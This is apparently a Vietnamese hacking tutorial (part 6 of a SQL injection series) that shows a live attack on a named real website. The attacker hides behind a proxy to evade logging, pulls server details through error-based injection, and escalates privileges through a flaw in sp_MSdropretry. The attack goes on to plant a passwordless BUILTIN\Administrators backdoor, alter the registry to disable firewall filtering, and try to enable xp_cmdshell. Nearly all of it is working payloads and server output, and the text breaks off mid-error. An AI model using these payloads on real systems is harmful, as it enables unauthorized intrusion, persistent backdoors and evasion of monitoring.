• SID của proc dbo.test == SID của master.dbo.sysxlogins LỖI INJECTION CỦA MASTER SP_MSDROPRETRY CREATE PROCEDURE sp_MSdropretry (@tname sysname, @pname sysname) as declare @retcode int /* ** To public */ exec ('drop table ' + @tname) if @@ERROR <> 0 return(1) exec ('drop procedure ' + @pname) if @@ERROR <> 0 return(1) return (0) NÂNG QUYỀN QUA MASTER SP_MSDROPRETRY exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql N'drop view dbo.test‘ drop table xx update sysusers set sid=0x01 where name='dbo' drop procedure xx drop table xx update dbo.test set sid=0x01,roles=0x01 where name=guest drop table xx • guest == db_owner của database master fantomas311(VNISS) Tổng hợp về SQL Injection (bài 6) MINH HỌA HACK SQL • Khai thác lỗi sql-injection tại nhaxinh.com.vn • Một số kinh nghiệm khi hack SQL LỖI SQL-INJECTION TẠI NHAXINH.COM.VN • dùng “proxy.ia2.marketscore.com:80” ðể tránh bị ghi nhật kí http://www.nhaxinh.com.vn/FullStory.asp?id=1 http://www.nhaxinh.com.vn/FullStory.asp?id=1’ Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBCSQLServerDriver] [SQLServer] Unclosed quotation mark before the character string ''. /Including/general.asp, line 840\ XÁC ĐỊNH VERSION http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@version) Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server] [SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright © 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int. /Including/general.asp, line 840 XÁC ĐỊNH SERVER_NAME http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@servername) Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'UNESCO' to a column of data type int. /Including/general.asp, line 840 http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,db_name()) Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'NhaXinh' to a column of data type int. /Including/general.asp, line 840 http://www.nhaxinh.com.vn/FullStory.asp? id=1 and 1=convert(int,system_user) Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'nhaxinh' to a column of data type int. /Including/general.asp, line 840 • user_name(): các member của “sysadmin” được map sang “dbo” XÁC ĐỊNH MỨC QUYỀN CỦA SQL SERVER http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'') Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider 'sqloledb' has been denied. You must access this provider through a linked server. /Including/general.asp, line 840 • admin đã disable openrowset/sqloledb, sẽ enable lại sau ĐƯA GUEST VÀO DB_OWNER CỦA DATABASE MASTER1 http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql N'drop view dbo.test' • Tại sao? guest là db_owner của database master nên guest có thể thi hành xp_regwrite hoặc xp_cmdshell XÁC NHẬN GUEST ĐÃ NẰM TRONG DB_OWNER CỦA DATABASE MASTER CHƯA ? http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select top 1 name from master sysusers where roles=0x01 and name not in('dbo'))) Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'guest' to a column of data type int. /Including/general.asp, line 840 CÀI CỬA SAU “BUILTIN\ADMINISTRATORS” http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name=''BUILTIN\ADMINISTRATORS''','xx' exec sp_executesql N'drop view dbo.test' • login vào database với username là “BUILTIN\ADMINISTRATORS” mà không cần password TẠI SAO KHÔNG ADD THẲNG USER “NHAXINH” VÀO SYSADMIN? exec master sp_addsrvrolemember 'nhaxinh',sysadmin • Lỗi: Invalid object name ‘XXXX’ khi vấn tin CSDL sau này ENABLE OPENROWSET/OLEDB & XÁC ĐỊNH LẠI MỨC QUYỀN CỦA SQL SERVER http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer \Providers\SQLOLEDB','AllowInProcess',REG_DWORD,1 exec master xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer \Providers\SQLOLEDB','DisallowAdhocAccess',REG_DWO RD,0— http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'') Microsoft OLE DB Provider for ODBC Drivers error '80004005' [Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'SYSTEM'. /Including/general.asp, line 840 DISABLE FIREWALL CỦA NT & TẮT LOG TRONG SQL http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters','EnableSecurityFilters'— http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters','EnableSecurityFilters'— LỖI KHI ENABLE MASTER XP_CMDSHELL & “ALLOW UPDATES” http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off exec master sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')— Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Could not process object 'set fmtonly off master sp_addextendedproc xp_cmd 'xpsql70.dll' exec sp_configure